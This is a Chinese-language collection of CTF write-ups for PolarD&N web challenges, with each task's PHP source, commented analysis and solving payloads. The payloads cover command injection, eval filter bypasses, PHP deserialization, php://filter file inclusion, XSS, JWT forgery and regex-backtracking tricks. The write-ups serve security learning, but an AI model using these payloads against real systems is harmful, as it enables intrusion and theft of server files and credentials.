$$
打开题目得到
<?php
/*
PolarD&N CTF
*/
highlight_file(__file__);
error_reporting(0);
include "flag.php";
$a=$_GET['c'];
if(isset($_GET['c'])){
if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
die("oh on!!!");}
else{
eval("var_dump($$a);");}}
对代码进行分析
<?php
/*
PolarD&N CTF
。
*/
// 将当前文件的内容以高亮形式输出到浏览器中,便于阅读
highlight_file(__file__);
// 关闭PHP的错误报告,隐藏潜在的错误信息
error_reporting(0);
// 包含可能包含flag的flag.php文件
include "flag.php";
// 从URL的查询字符串中获取名为'c'的参数值
$a = $_GET['c'];
// 检查是否设置了'c'参数
if(isset($_GET['c'])){
// 使用preg_match来检查$a中是否包含特定的字符或模式
// 如果包含,则终止执行并输出"oh on!!!"
if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
die("oh on!!!");
}
// 如果通过了验证,则使用eval执行PHP代码
// 注意:这里使用了变量变量
$$
a,它将尝试获取名为$a值的变量的值
// 然后,使用var_dump打印该变量的信息
// 这存在严重的安全风险,因为eval可以执行任意PHP代码
else{
eval("var_dump(
$$
a);");
}
}
?>
代码通过正则表达式来阻止直接获取flag,但仍然存在潜在的漏洞。由于eval
函数的使用,只要能够绕过正则表达式验证,就可以执行任意的PHP代码。
绕过方法:
-
注意到正则表达式中未包含字母(除了
flag
中的f
和l
),因此攻击者可以尝试使用仅包含字母(除了f
和l
)的变量名来绕过验证。 -
假设
flag.php
文件中定义了一个全局变量(如$flag
),攻击者可以尝试构造一个请求,如?c=GLOBALS
。由于`a在
eval中会被解析为
$GLOBALS,而
$GLOBALS是一个包含了所有全局变量的数组,包括
$flag(如果它存在的话)。 - 然后,攻击者可以通过某种方式(如利用PHP的内置函数或对象)来访问
$GLOBALS['flag']的值。但是,由于
var_dump只是打印变量的结构信息,并不直接显示flag的内容(除非flag是简单类型),因此攻击者可能需要进一步利用
eval执行更复杂的代码来获取flag。 然而,在这个具体的例子中,由于
var_dump的使用,直接通过
?c=GLOBALS可能不会直接显示flag的内容。但这是一个潜在的漏洞,提醒我们避免在PHP代码中使用
eval`,尤其是当涉及到用户输入时。
所以输入?c=GLOBALS后得到flag
爆破
打开题目得到一串代码
<?php
error_reporting(0);
if(isset($_GET['pass'])){
$pass = md5($_GET['pass']);
if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
include('flag.php');
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
对其进行的分析
<?php
// 关闭错误报告,避免泄露敏感信息
error_reporting(0);
// 检查GET请求中是否存在'pass'参数
if(isset($_GET['pass'])){
// 将'pass'参数的值进行MD5哈希处理
$pass = md5($_GET['pass']);
// 检查MD5哈希值的第2个字符(索引1,因为索引从0开始)是否等于第15个字符
// 同时也检查第15个字符是否等于第18个字符
if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
// 如果上述条件满足,进一步计算:
// 第2个字符和第15个字符的ASCII值之和,加上第18个字符的ASCII值
// 然后除以第2个字符的ASCII值,结果是否等于第32个字符的ASCII值
// 注意:这里有一个逻辑错误,因为substr($pass, 17,1)的结果应该是一个字符,但被错误地作为除数(这通常不是预期的操作)
// 但按照字面意思理解,我们需要的是字符的ASCII值进行运算
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+intval(substr($pass, 17,1)))/intval(substr($pass, 1,1))===intval(substr($pass, 31,1))){
// 如果上述复杂的条件满足,包含并打印'flag.php'文件中的$flag变量
include('flag.php');
echo $flag;
}
}
}else{
// 如果没有提供'pass'参数,则高亮显示当前文件内容
highlight_file(__FILE__);
}
?>
由于所涉及到的数字无法猜想,所以根据内容来编写脚本
import hashlib
for i in range(1, 10000):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if md5[1] != md5[14] or md5[14] != md5[17]:
continue
if (ord(md5[1])) >= 48 and ord(md5[1]) <= 57 and (ord(md5[31])) >= 48 and ord(md5[31]) <= 57:
if ((int(md5[1]) + int(md5[14]) + int(md5[17])) / int(md5[1]) == int(md5[31])):
print(i)
得到422和1202两个数符合条件,get传参其中一个得到flag。
被黑掉的站
打开题目得到
没有线索,使用dirsearch扫一下目录,发现了/index.php.bak还有shell.php
们进去访问。发现.bak里面是一个字典,然后shell里面是一个登录界面,拿着这个字典去爆破试试:
得到flag
到底给不给flag呢
打开环境得到
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<?php
highlight_file('1.txt');
echo "<br><br>";
$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';
$qwq= '我想要flag';
$QAQ = '我又不想要flag了,滚吧';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($qwq);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($QAQ);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
发现有flag尝试提交发现错误,对代码进行分析
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<?php
// 高亮显示并输出文件1.txt的内容,可能用于展示一些提示或信息
highlight_file('1.txt');
echo "<br><br>";
// 定义一个包含flag的变量
$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';
// 定义两个字符串变量,用于后续的条件判断
$qwq= '我想要flag';
$QAQ = '我又不想要flag了,滚吧';
// 检查是否通过GET或POST方法提交了'flag'参数
// 如果没有提交,则输出$qwq变量的内容并退出脚本
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($qwq);
}
// 如果通过POST或GET提交的'flag'参数的值等于'flag',则输出$QAQ变量的内容并退出脚本
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($QAQ);
}
// 遍历POST请求中的所有参数,并将每个参数的值赋给对应的变量名
// 例如,如果POST请求中包含'name=John',则$name将被赋值为'John'
foreach ($_POST as $key => $value) {
$$key = $value;
}
// 遍历GET请求中的所有参数,但这里有一个潜在的安全问题
// 它尝试将GET参数的值作为变量名,并将该变量名的值赋给当前遍历的变量
// 这可能导致变量覆盖和潜在的安全漏洞
// 例如,如果GET请求包含'flag=other_var&other_var=flag_value',则$flag将被覆盖为'flag_value'
foreach ($_GET as $key => $value) {
$$key = $$value;
}
// 输出$flag变量的值
// 注意:由于前面的GET参数处理逻辑,$flag的值可能会被覆盖
echo $flag;
?>
foreach()
配合$$
是个典型的变量覆盖漏洞,使用foreach()
来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。abc=flag&flag=abc会被解释为
$abc=$flag&$flag=$abc
所以get传参
?abc=flag&flag=abc
将页面拉到底部得到flag
浮生日记
打开web是一个搜索框,根据标题栏的提示“让我弹个窗康康”,可得知此题考点是XSS,需要使用JS弹窗,常见的payload是:
<script>alert(1)</script>
点击写入日记,打开开发者模式然后查看写入的形式
1.需要闭合前面的单引号,而且这道题经过测试会把script、on、src、data、href等关键词替换为空。
2.考虑使用双写绕过,如“script”改为“scrscriptipt”,最后的payload如下:
"> <scrscriptipt>alert("yes")</scrscriptipt>
点击后出现flag
干正则
打开环境后发现是一串代码
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
对其进行分析
<?php
// 关闭所有PHP错误报告
error_reporting(0);
// 检查是否通过GET请求传递了'id'参数
if (empty($_GET['id'])) {
// 如果没有传递'id',则显示当前文件的源代码
show_source(__FILE__);
die(); // 终止脚本执行
} else {
// 如果传递了'id',则包含'flag.php'文件(可能包含敏感信息)
include 'flag.php';
// 初始化变量$a和$result
$a = "www.baidu.com";
$result = "";
// 从GET请求中获取'id'参数
$id = $_GET['id'];
// 使用parse_str解析$id参数的内容,这会覆盖同名的局部变量
// 这是一个危险的做法,因为它允许用户输入覆盖变量
@parse_str($id);
// 由于parse_str可能修改了$a的值,这里打印修改后的$a的第一个字符
// 注意:如果'id'参数是精心构造的,这可能不是'w'
echo $a[0];
// 检查$a[0]是否等于'www.polarctf.com'
// 这是一个验证步骤,但由于parse_str可能改变$a的值,所以这可能被绕过
if ($a[0] == 'www.polarctf.com') {
// 如果验证通过,从GET请求中获取'cmd'参数
$ip = $_GET['cmd'];
// 检查'cmd'参数是否包含'flag.php',如果是,则终止执行
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}
// 使用shell_exec执行ping命令,命令的构造依赖于$a[0]和$ip的值
// 由于$a[0]和$ip的值都来自用户输入,这里存在命令注入的风险
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
// 如果命令执行有输出,则打印输出
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
// 如果$a[0]不等于'www.polarctf.com',则显示提示信息并退出
exit('其实很简单!');
}
}
?>
所以输入
?id=a[0]=www.polarctf.com
发现页面就显示www.polarctf.com,说明验证时通过的
下来构造cmd
?id=a[0]=www.polarctf.com&cmd=|ls
发现显示的有flag.php证明方向是对的,但flag.php没办法查看,所以重新构造
?id=a[0]=www.polarctf.com&cmd=|cat `ls`;
然后查看源代码得到flag
简单rce
打开题目得到
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
function no($txt){
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?> nonono
对其进行分析
<?php
highlight_file(__FILE__); //对文件进行语法高亮显示
function no($txt){ //定义一个no函数,并传入变量txt
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){ //preg_match 函数用于执行一个正则表达式匹配
return $txt; //返回参数值
}else{
die("what's up"); //输出一条消息,并退出当前脚本
}
}
$yyds=($_POST['yyds']); //通过POST方式传递参数yyds
if(isset($_GET['sys'])&&$yyds=='666'){ //通过GET方式传递参数sys;并判断
eval(no($_GET['sys'])); //调用no函数,并输出
}else{
echo "nonono"; //输出nonono
}
?>
绕过姿势
1. 命令执行函数
system() passthru() exec() shell_exec() popen()/proc_open()
2. 读取文件命令
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看
3. 空格替代
<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
方法一:使用未被过滤的命令
get传参
?sys=passthru('sort%09/flag');
post传参
yyds=666
得到flag{j6856fd063f0a04874311187da1191h6}
方法二:字符串转义绕过;适用PHP版本PHP>=7
以八进制表示的[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”) 以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41") 以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串 URL编码协议规定(即 RFC3986 协议):URL 中只允许包含英文字母、数字、以及这 4 个 - _ . ~ 特殊字符和所有的保留字符
get传参
?sys=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
POST传参
yyds=666
得到flag
蜜雪冰城吉警店
打开题目得到
先任意点击一个得到
点击第二个
下来再点击其他的发现都是一样的,题目要求点到第九个但就给了八个所以需要修改数值来达到目的 ,打开开发者模式
将任意的id改成9,返回后点击得到flag
签到
打开题目发现那个提交按键使用不了
打开开发者模式
发现含有disabled,将其删去,点击提交得到
将其复制进去发现文本框有字数限制,打开开发者模式,将
maxlength="9"中的9改为11,然后再删去disabled提交后得到flag。
签到题
打开题目得到
使用bp来看下
将cookie上的no改成成yes
得到Li9kYXRhL2luZGV4LnBocA ,发现是base64编码
解码后得到./data/index.php
将得到的输入可得
<?php
// 关闭错误报告,通常不推荐在生产环境中这样做,但在某些情况下可能用于隐藏敏感信息
error_reporting(0);
// 从GET请求中获取'file'参数
$file = $_GET['file'];
// 如果没有设置'file'参数,则默认设置为'1'
// 注意:这并不能防止安全问题,只是为了避免在没有参数时出错
if(!isset($file)) {
$file = '1';
}
// 尝试移除文件名中的'../'来防止路径遍历,但这种方法是不充分的
// 更好的做法是使用白名单验证文件名或使用realpath()函数
$file = str_replace('../', '', $file);
// 使用include_once来包含指定的PHP文件
// 这是非常危险的,因为它允许攻击者通过修改URL来包含服务器上的任意文件
include_once($file.".php");
// 将当前文件的内容以高亮形式显示在页面上
// 在生产环境中,这可能会暴露源代码,增加安全风险
highlight_file(__FILE__);
?>
发现要绕过../并进行目录穿越。一开始以为是apache的目录穿越漏洞。但是后来发现可以直接用双写绕过。(而且apache那个漏洞没用)所以我先尝试了payload:
?file=..././index
发现回显了,说明方向没错。然后尝试了好久,找不到flag的位置。
然后想起了include会直接执行文件,所以就需要php伪协议来读取,最后的payload:
?file=php://filter/read=convert.base64-encode/resource=..././..././..././..././flag
得到base64加密的字母,将其解密得到flag
召唤神龙
打开题目发现是一个游戏
尝试玩通关后得到flag
发现拿不到flag,只能另寻它法
打开控制台,发现F12不能使用,应该是被禁用掉了,使用Ctrl+shift+k(火狐浏览器)来打开控制台
里面都是js文件,找了一圈发现
将其复制放入控制台中解密
得到flag
cookie欺骗
打开环境发现只有admin用户才能得到flag
所以对网站进行抓包将cookie的值修改为admin,然后放包得到flag
cool
打开环境发现是一串代码
<?php
if(isset($_GET['a'])){
$a = $_GET['a'];
if(is_numeric($a)){
echo "no";
}
if(!preg_match("/flag|system|php/i", $a)){
eval($a);
}
}else{
highlight_file(__FILE__);
}
?>
对其进行分析
<?php
// 检查GET请求中是否存在'a'参数
if(isset($_GET['a'])){
// 如果存在,将'a'参数的值赋给变量$a
$a = $_GET['a'];
// 检查变量$a是否为数字
if(is_numeric($a)){
// 如果是数字,则输出"no",这可能是为了防止直接执行数字作为代码(尽管在PHP中直接执行数字作为代码不会有影响,但这里可能是出于安全考虑)
echo "no";
}
// 使用正则表达式检查变量$a中是否不包含'flag'、'system'或'php'(不区分大小写)
// 这可能是为了防止执行包含这些关键字的恶意代码
if(!preg_match("/flag|system|php/i", $a)){
// 如果不包含上述关键字,则执行变量$a中的代码
// 这是一个非常危险的做法,因为它允许执行用户控制的代码,可能导致严重的安全问题
eval($a);
}
}else{
// 如果GET请求中没有'a'参数,则高亮显示当前文件的内容
// 这可能用于调试或向用户展示源代码
highlight_file(__FILE__);
}
?>
所以我们构造payload:
?a=echo `ls`;
得到
flag.txt index.php index1.html
所以
?a=echo `cat fl\ag.txt`;
得到flag
Don't touch me
打开题目,上面显示
找吧,都在那里了
所以查看源代码得到
<!----./2.php-->
查看可得
打开开发者模式将disabled删除,然后点击查看源代码得到
<!--fla.php->-->
查看后得到flag
GET-POST
打开题目得到
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
include('flag.php');//文件包含,flag在flag.php文件中,不用想了你访问也没用
$id = $_GET['id'];
echo "你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1";
if($id == '1'){
echo "干的漂亮";
echo "<br/>";
echo "虽然我感受到了你的真诚,但还是不行,用POST请求传递一下jljcxy吧,令jljcxy=flag";
$jljcxy = $_POST['jljcxy'];
if($jljcxy == 'flag'){
echo $flag;
}
}
你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1干的漂亮
根据题目和代码可以知道
get传参?id=1
post传参jljcxy=flag
得到flag
jwt
根据题目可以知道涉及jwt,打开环境后得到页面需要登录, 随便注册一个账号都以123来输入,邮箱符合正确的格式就可以
注册完毕之后进行登录,进入个人中心
发现显示的是自己填的信息,猜测flag会在这里出现
使用bp进行抓包,发现jwt值
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.poUOOjFRTg6k0yM5RAxMd0QQrVO_afrwx1XcpSmHxVs
将其放入jwt在线网站查看
获得key值:SYSA
利用在线网站:JSON Web Tokens - jwt.io伪造jwt。填入得到的key,将username改为admin。
最后在注册用户登录成功的页面,利用Editthiscookie插件替换jwt,刷新即可。
刷新完成功以admin用户登录。
点击个人中心获得flag。
login
打开页面是登录的页面,查看源代码得到
20200101
20200101
输入进去的到登录成功后就什么也没了
将01给成02密码同样修改得到f
依次查询到后两位为11得到}
将查询到到的结果拼接在一起
得到:flag{dlcg}
php very nice
打开题目得到
<?php
highlight_file(__FILE__);
class Example
{
public $sys='Can you find the leak?';
function __destruct(){
eval($this->sys);
}
}
unserialize($_GET['a']);
?>
对其进行分析得到
<?php
// 启用代码高亮显示当前文件的内容
highlight_file(__FILE__);
// 定义一个名为 Example 的类
class Example
{
// 定义一个公开的属性 $sys,并初始化为字符串 'Can you find the leak?'
public $sys='Can you find the leak?';
// 定义一个析构函数 __destruct
// 当对象被销毁时自动调用此函数
function __destruct(){
// 使用 eval 函数执行 $this->sys 中的代码
// 这里的 $this->sys 是从对象的属性中获取的,如果属性值被恶意修改,可能会导致代码执行漏洞
eval($this->sys);
}
}
// 使用 unserialize 函数反序列化通过 GET 请求参数 'a' 传递的数据
// 如果传递的数据是恶意构造的序列化字符串,可能会触发上述的漏洞
unserialize($_GET['a']);
?>
所以构建
?a=O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}
回显了flag.php,直接尝试跳转发现是空白页面,应该是被执行了
?a=O:7:"Example":1:{s:3:"sys";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}
得到base64编码的字符串
PD9waHANCiRmbGFnPSdmbGFnezIwMmNiOTYyYWM1OTA3NWI5NjRiMDcxNTJkMjM0YjcwfSc7DQoNCj8+
将其解码得到flag
rce1
打开题目得到得到代码,对其分析
<?php
// 初始化一个变量用于存储ping命令的结果,但这里的使用方式可能会引起混淆
$res = FALSE;
// 检查是否通过GET请求传递了ip参数,并且该参数不为空
if (isset($_GET['ip']) && $_GET['ip']) {
// 从GET请求中获取ip参数的值
$ip = $_GET['ip'];
// 初始化一个数组用于preg_match_all,但实际上这个数组在这里可能并不需要
$m = [];
// 尝试匹配IP地址中的空格,但这不是验证IP地址的正确方法
// 如果未找到空格(即!preg_match_all返回0),则认为IP地址可能是有效的
if (!preg_match_all("/ /", $ip, $m)) {
// 构造ping命令
$cmd = "ping -c 4 {$ip}";
// 执行ping命令,并将输出存储在$res中
// 注意:这里$res的用途与其初始定义不符,因为它现在用于存储命令输出
exec($cmd, $res);
} else {
// 如果IP地址包含空格,将$m(实际上在这个逻辑中总是空的)赋给$res
// 这在实际应用中可能不是期望的行为
$res = $m;
}
}
// 注意:此代码片段的结束意味着$res变量现在可能包含ping命令的输出(如果执行了ping),
// 或者如果IP地址包含空格,则包含空数组。这可能导致后续处理时的混淆。
?>
ping -c 4 {$ip}这很熟悉了。我们尝试一下payload:
?ip=127.0.0.1|ls
是有回显的。而且尝试了一下用$IFS绕过空格也是可以的。但是题目的hint是:
就过滤了个空格,能拿到flag算我输
然后我尝试了直接用cat读取,发现是错的。发现env里面的flag是假的。然后再尝试一次读取。然后查看了源码找到了flag。payload:
?ip=127.0.0.1|cat%09f*
robots
根据题目可以知道是robots协议
所以输入robots.txt得到页面
User-agent: *
Disallow: /fl0g.php
将fl0g.php输入得到flag
seek flag
打开题目发现是文字叙述直接查看源代码
所以结合题目描述,使用bp来进行抓包
看到id=0,将其改为得到
得到flag1和2
来查看/robots.txt发现flag3
将其拼接得到flag
swp
打开题目得到
啥是swp文件勒?
当用vim打开文件,但是终端异常退出时系统会产生一个.文件名swp的文件。
当源文件被意外删除时,可以利用swp文件恢复源文件
对其进行扫描
得到目录进行查看
对其进行分析
<?php
// 定义一个名为 jiuzhe 的函数,用于检查字符串是否包含特定的正则表达式模式
function jiuzhe($xdmtql) {
// 使用 preg_match 函数进行正则表达式匹配
// 正则表达式 '/sys.*nb/is' 的意思是匹配包含 'sys' 开头,后面跟任意字符(包括换行符),然后是 'nb' 的字符串
// i 修饰符表示不区分大小写,s 修饰符表示点号(.)可以匹配包括换行符在内的任何字符
return preg_match('/sys.*nb/is', $xdmtql);
}
// 从 POST 请求中获取 'xdmtql' 的值,并存储在 $xdmtql 变量中
// 使用 @ 符号来抑制可能出现的错误或警告
$xdmtql = @$_POST['xdmtql'];
// 检查 $xdmtql 是否不是数组
if (!is_array($xdmtql)) {
// 如果 $xdmtql 不是数组,则调用 jiuzhe 函数检查是否匹配正则表达式
if (!jiuzhe($xdmtql)) {
// 如果不匹配正则表达式,则检查是否包含字符串 'sys nb'
if (strpos($xdmtql, 'sys nb') !== false) {
// 如果包含 'sys nb' 字符串,则输出 'flag{*******}'
// 这里可能是一个挑战或测试的一部分,'*******' 可能是被隐藏的敏感或关键信息
echo 'flag{*******}';
} else {
// 如果不包含 'sys nb' 字符串,则输出 'true .swp file?'
// 这个输出可能是对某种文件类型或状态的提示
echo 'true .swp file?';
}
} else {
// 如果匹配正则表达式,则输出 'nijilenijile'
// 这个输出可能是对另一种状态的提示
echo 'nijilenijile';
}
}
// 如果 $xdmtql 是数组,则此代码段没有指定任何输出或处理逻辑
// 在实际使用中,你可能需要添加对数组类型的处理逻辑
?>
这段代码的重点是如何同时绕过pre_match和strpos函数,一个不让匹配到,一个又要匹配到。这里就涉及到一个回溯问题,就是pre_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。利用利用下面的代码进行回溯,让pre_match函数报错,绕过该函数,这样strpos函数就可以顺利的匹配到我们的字符串从而输出flag
import requests
data = {"xdmtql": "sys nb" + "aaaaa" * 1000000}
res = requests.post('自己的网址', data=data, allow_redirects=False)
print(res.content)
XFF
打开题目,可知是XFF伪造
所以我们伪造IP
X-Forwarded-For: 1.1.1.1
得到flag